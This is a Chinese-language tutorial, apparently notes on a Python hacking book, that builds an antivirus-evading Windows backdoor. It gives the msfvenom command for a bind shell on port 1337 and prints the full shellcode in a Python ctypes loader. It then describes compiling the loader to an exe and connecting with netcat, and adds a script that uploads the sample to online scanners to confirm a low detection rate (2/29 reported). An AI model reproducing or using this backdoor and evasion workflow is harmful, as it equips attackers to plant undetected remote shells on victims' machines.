python 免杀验证

使用Metasploit生成C语言风格的一些shellcode作为载荷，这里使用Windows bindshell，功能为选定一个TCP端口与cmd.exe进程绑定在一起，方便攻击者远程连接进行操控。

输入命令：

msfvenom -p windows/shell_bind_tcp LPORT=1337 -f c -o payload.c

接着在Python中调用ctypes库，定义一个存在该shellcode的变量，把变量看作是一个C语言的函数，执行它即可。

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<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: "Courier New" !important; font-size: 12px !important; border-radius: 1px; background-color: rgb(246, 248, 250); overflow: auto; border-width: 1px 1px 1px 2px; border-style: dashed dashed dashed solid; border-color: rgb(170, 170, 170) rgb(170, 170, 170) rgb(170, 170, 170) rgb(108, 226, 108); border-image: initial; position: relative;">#!/usr/bin/python #coding=utf-8 from ctypes import * shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" "\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40" "\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x05\x39\x89" "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7" "\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97" "\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57" "\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c" "\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" "\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0" "\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5" "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb" "\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5");

memorywithshell = create_string_buffer(shellcode, len(shellcode)) shell = cast(memorywithshell, CFUNCTYPE(c_void_p)) shell()</pre>

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接着将该py文件转换成Windows的可执行文件exe。 运行该exe文件并查看端口： 可以看到确实已经在运行监听了。

接着在Kali中直接nc连接目标主机的1337端口即可：

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2、免杀验证：

这里在国内正常是访问不了书上的vscan.novirusthanks.org的，但是下面的验证脚本可以借鉴一下：

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<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: "Courier New" !important; font-size: 12px !important; border-radius: 1px; background-color: rgb(246, 248, 250); overflow: auto; border-width: 1px 1px 1px 2px; border-style: dashed dashed dashed solid; border-color: rgb(170, 170, 170) rgb(170, 170, 170) rgb(170, 170, 170) rgb(108, 226, 108); border-image: initial; position: relative;">#!/usr/bin/python #coding=utf-8 import re import httplib import time import os import optparse from urlparse import urlparse def printResults(url): status = 200 host = urlparse(url)[1] path = urlparse(url)[2] if 'analysis' not in path: while status != 302: conn = httplib.HTTPConnection(host) conn.request('GET', path) resp = conn.getresponse() status = resp.status print '[+] Scanning file...' conn.close() time.sleep(15) print '[+] Scan Complete.' path = path.replace('file', 'analysis') conn = httplib.HTTPConnection(host) conn.request('GET', path) resp = conn.getresponse() data = resp.read() conn.close()

reResults = re.findall(r'Detection rate:.*\)', data)
htmlStripRes = reResults[1].replace('<font color=\'red\'>', '').replace('</font>', '') print '[+] ' + str(htmlStripRes) def uploadFile(fileName): print "[+] Uploading file to NoVirusThanks..." fileContents = open(fileName,'rb').read()

header = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U'}

params = "------WebKitFormBoundaryF17rwCZdGuPNPT9U" params += "\r\nContent-Disposition: form-data; name=\"upfile\"; filename=\"" + str(fileName) + "\"" params += "\r\nContent-Type: application/octet stream\r\n\r\n" params += fileContents
params += "\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U" params += "\r\nContent-Disposition: form-data; name=\"submitfile\"\r\n" params += "\r\nSubmit File\r\n" params += "------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n" conn = httplib.HTTPConnection('vscan.novirusthanks.org')
conn.request("POST", "/", params, header)
response = conn.getresponse()
location = response.getheader('location')
conn.close() return location def main():
parser = optparse.OptionParser('[*]Usage: python virusCheck.py -f <filename>')
parser.add_option('-f', dest='fileName', type='string', help='specify filename')
(options, args) = parser.parse_args()
fileName = options.fileName if fileName == None: print parser.usage
    exit(0) elif os.path.isfile(fileName) == False: print '[+] ' + fileName + ' does not exist.' exit(0) else:
    loc = uploadFile(fileName)
    printResults(loc) if __name__ == '__main__':
main()</pre>

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可以根据国内的一些在线扫描查杀平台来改写该脚本，本质就是写一个实现上传功能的爬虫而已。

换一个国内的Virscan在线扫描来进行免杀验证：http://www.virscan.org/

2/29，3.1%的查杀率。

通过对比发现，本章节的方法实现的后门的免杀效果还是很强的。

简单概述来说，就是通过msf生成的后门，第一种可以直接生成exe文件、但是很容易被查杀掉；第二种就是生成c文件，然后通过Python的ctypes库来执行该C语言的payload，接着再将该py文件转换成exe文件，通过几次文件类型的转换，可以有效地避过大多数杀毒软件的查杀。